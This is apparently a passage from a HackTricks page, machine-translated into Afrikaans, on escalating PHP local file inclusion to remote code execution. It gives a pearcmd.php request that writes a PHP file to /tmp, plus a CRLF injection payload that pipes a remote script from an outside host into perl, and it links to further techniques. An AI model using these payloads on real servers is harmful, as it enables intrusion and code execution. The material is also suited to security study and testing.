Via pearcmd.php + URL args

As explained in this post, bestaan die script /usr/local/lib/phppearcmd.php standaard in php docker images. Verder is dit moontlik om argumente aan die skrip via die URL deur te gee omdat aangedui word dat as 'n URL-param nie 'n = het nie, dit as 'n argument gebruik moet word. Sien ook watchTowr’s write-up en Orange Tsai’s “Confusion Attacks”.

Die volgende versoek skep 'n lĂȘer in /tmp/hello.php met die inhoud <?=phpinfo()?>:

bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Die volgende misbruik 'n CRLF vuln om RCE te kry (van here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Deur phpinfo() (file_uploads = on)

As jy 'n Local File Inclusion gevind het en 'n lĂȘer wat phpinfo() openbaar met file_uploads = on, kan jy RCE kry:

LFI2RCE via phpinfo()

Deur compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

As jy 'n Local File Inclusion gevind het en jy can exfiltrate the path van die temp file, MAAR die server is checking of die file to be included has PHP marks, kan jy probeer om daardie bypass that check met hierdie Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Deur eternal waiting + bruteforce

As jy die LFI kan misbruik om upload temporary files en die server die PHP-uitvoering kan laat hang, kan jy daarna brute force filenames during hours om die temporary file te vind:

LFI2RCE via Eternal waiting

Na 'n Fatal Error

As jy enige van die lĂȘers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te werp).

Ek weet nie hoe dit nuttig is nie maar dit kan wees.
Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted.

References

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks